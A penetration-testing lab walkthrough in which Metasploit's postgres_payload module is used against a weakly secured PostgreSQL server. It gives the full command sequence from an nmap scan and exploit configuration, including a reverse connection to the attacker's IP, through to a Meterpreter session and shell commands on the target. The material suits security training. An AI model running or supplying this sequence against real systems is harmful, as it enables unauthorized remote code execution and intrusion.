PostgreSQL Exploitation
PostgreSQL is a widely used open-source relational database system, often exposed on networks for application connectivity. Misconfigured instances — particularly those using default or weak credentials — remain a common target in penetration testing labs. In this case, the postgres_payload exploit leverages a database procedure to execute arbitrary code, delivering a Meterpreter session rather than a plain shell.
Discovery
nmap -A -p- -T5 [target IP]Scans all ports with service versions and OS detection to identify the target's open services.
Attack
msfconsoleLaunches the Metasploit Framework console.
search postgresSearches for modules related to PostgreSQL.
use exploit/linux/postgres/postgres_payloadSelects the PostgreSQL for Linux payload execution exploit.
show optionsDisplays the required parameters for the exploit and payload.
set rhosts [target IP]Sets the target's IP address.
set lhost [my IP]Sets the attacker's IP address for the reverse connection.
exploit -j -zLaunches the exploit as a background job. Unlike the FTP and Samba exploits, this one delivers a Meterpreter payload instead of a plain shell.
Verification
sessions -lLists active sessions.
sessions -i [id]Interacts with a specific session, using the ID shown by sessions -l.
shellDrops from the Meterpreter session into a native Linux shell, where standard commands become available.
whoamiConfirms the privilege level of the compromised shell — in this case, the limited postgres service account rather than root.
uname -aDisplays the target system's kernel information.
lsLists files in the current directory to confirm shell access.
Tool Used
This attack was carried out using Metasploit Framework — see the full command reference here.